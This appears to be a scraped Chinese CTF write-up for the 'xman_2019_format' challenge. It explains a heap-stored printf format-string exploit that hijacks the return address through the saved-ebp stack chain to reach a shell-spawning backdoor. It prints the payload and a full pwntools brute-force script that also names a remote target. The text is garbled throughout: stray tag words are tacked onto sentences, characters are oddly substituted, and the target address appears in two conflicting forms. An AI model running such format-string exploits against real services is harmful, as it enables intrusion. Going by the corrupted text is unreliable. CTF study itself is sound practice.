xman_2019_format

xman_2019_format

总结

根据本题,学习与收获有:node

  • printf的字符串,若是是在堆上,那么就没法在栈上写地址利用%x$hn去修改
  • printf会一次性取出全部的偏移的地址,再去修改。不是边写边修改!(结合调试过程理解!)
  • 因为ebp寄存器会记录一个栈地址链,因此能够利用这一点特性,爆破修改这个栈地址链的最低字节,而后修改ebp寄存器后4个字节的内容,理想状态下,爆破1个字节便可,并且,全部的地址都是对齐到地址页。

题目分析

checksec

函数分析

main

sub_804869D

sub_8048651

sub_804862A

sub_80485c4

层层套娃,终于走到了最后的处理函数。strtok是字符串分割函数,分割的符号为|python

漏洞点

漏洞点很清楚,就是函数sub_80485c4中,将传入的字符串使用|分割后,直接调用printf函数。很明显的格式化字符串漏洞。可是这里要注意:字符串存储在堆上。因此,不能在栈上写地址,而后利用栈的偏移来向任意地址写。所以,只能借助栈上已有的地址,往eip寄存器里面写入目标地址。shell

注意到有一个后门函数:bash

只须要覆盖为这个函数的地址便可。函数

利用思路

所以,本题利用的思路很清晰:学习

  • printf肯定偏移测试

  • 利用栈上的地址链,特别是ebp地址链,修改中间某一个地址的最低字节,修改成存储eip寄存器内容的那个地址debug

  • 将这个可能会被压入eip寄存器的地址的内容,修改成0x80475AB3d

  • get_shell调试

EXP

调试过程

本题须要一步步调试出来,首先测试一下偏移:

# 输入:%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

输入以前看一下栈:

这个调用链仍是很明显的

执行完成打印出来的内容为:

数一下,偏移为10

这个时候须要结合栈图整理一下思路:

  • 首先修改0xffffceb8地址处的内容为0xffffce9c,这里须要修改最低的一个字节,偏移为10
  • 而后修改0xffffce9c地址处的内容为0x80485ab,这里只须要修改最低的两个字节,偏移为18

很容易写出最后的输入应该为:

%156c%10$hhn%34219c%18$hn

能够调试一下,在printf函数下个断点,而后观察一下0xfffceb8的内容变化:

第一次命中断点:

第二次命中断点:

此处的值已经改变:

能够看到,最低字节已经修改为功。而后继续执行printf,看下0xffffce9c是否是修改成目标值:

发现修改失败了:

仍是修改的最初的0xffffcee8的内容,并非去修改的0xffffce9c的内容!这说明,printf格式化执行的时候,首先把全部对应偏移的地址先取出来,而后再去修改!

题目中,有一个|分割符,所以,只须要利用分割符分开输入便可!

因此,最终的输入为:

%156c%10$hhn|%34219c%18$hn

执行了/bin/bash

完整exp

实际上须要爆破最低的那个字节,因此最终的exp以下:

from pwn import *

context.log_level='debug'

for x in range(4, 0x100, 4):
    tar = '%' + str(x) + 'c%10$hhn|%34219c%18$hn'
    try:
        sh = process('./xman_2019_format')
        # sh = remote('node3.buuoj.cn', 27180)
        log.info('current low byte:{}'.format(hex(x)))
        sh.recv()
        sh.sendline(tar)
        sh.recv(timeout=1)
        sleep(1)
        sh.sendline('cat flag')
        sh.recvline_contains('flag', timeout=1)
        sh.interactive()
    except:
        sh.close()

远程爆破过程为:

相关文章
相关标签/搜索
本站公众号
   欢迎关注本站公众号,获取更多信息